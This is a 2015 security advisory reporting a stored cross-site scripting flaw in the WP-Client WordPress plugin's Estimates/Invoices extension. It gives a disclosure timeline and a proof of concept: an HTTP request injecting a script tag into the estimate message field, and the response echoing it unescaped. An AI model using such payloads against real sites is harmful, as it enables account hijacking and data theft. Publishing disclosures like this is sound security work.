WP-Client 3.8.7 - Stored XSS Vulnerability

2015-11-24 00:05:09

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Application: WP-Client

Version: 3.8.7

Author: Pier-Luc Maltais from COSIG

Twitter: @COSIG_

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1) Introduction
2) Report Timeline
3) Technical details
4) POC

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1) Introduction
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One plugin configures multiple areas of your WordPress installation and allows the
site Administrator to easily create new Client Areas, Client Management Portals,
Client Estimates & Invoices, Client File Upload Areas, or Private Staff Pages on the
site by entering just a few data fields. Additionally, clients can upload/download
secure files. (https://wp-client.com/)


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2) Report Timeline
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12/11/2015 - Found the vulnerability
12/11/2015 - Ticket opened
20/11/2015 - Plugin extension Estimates/Invoices updated (v1.5.2)
24/11/2015 - Public disclosure


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3) Technical details
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WP-Client is vulnerable to a stored XSS attack in the Request Estimate page. The
extension affected is Estimates/Invoices v1.5.1.


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4) POC
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Request :

POST /portal/request-estimate/ HTTP/1.1
[...]
wpc_data%5Baction%5D=request&wpc_data%5Btitle%5D=Request+Estimate+from+2015-11-12&wpc_data%5Bitems%5D%5B%7Bnum_items%7D%5D%5Bname%5D=&wpc_data%5Bitems%5D%5B%7Bnum_items%7D%5D%5Bdescription%5D=&wpc_data%5Bitems%5D%5B%7Bnum_items%7D%5D%5Bquantity%5D=1&wpc_data%5Bitems%5D%5B%7Bnum_items%7D%5D%5Bprice%5D=&wpc_data%5Bwpc_inv_message%5D=%3Cscript%3Ealert%281%29%3C%2Fscript%3E

Response :

[...]
<div class="wpc_clear"></div>
<span>Comments:</span><br>
<table id="wpc_inv_table_request_notes" style="width: 100%;">
<tr bgcolor="E0E0E0">
<td><b>client:</b></td>
<td><script>alert(1)</script>
[...]

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Fixes

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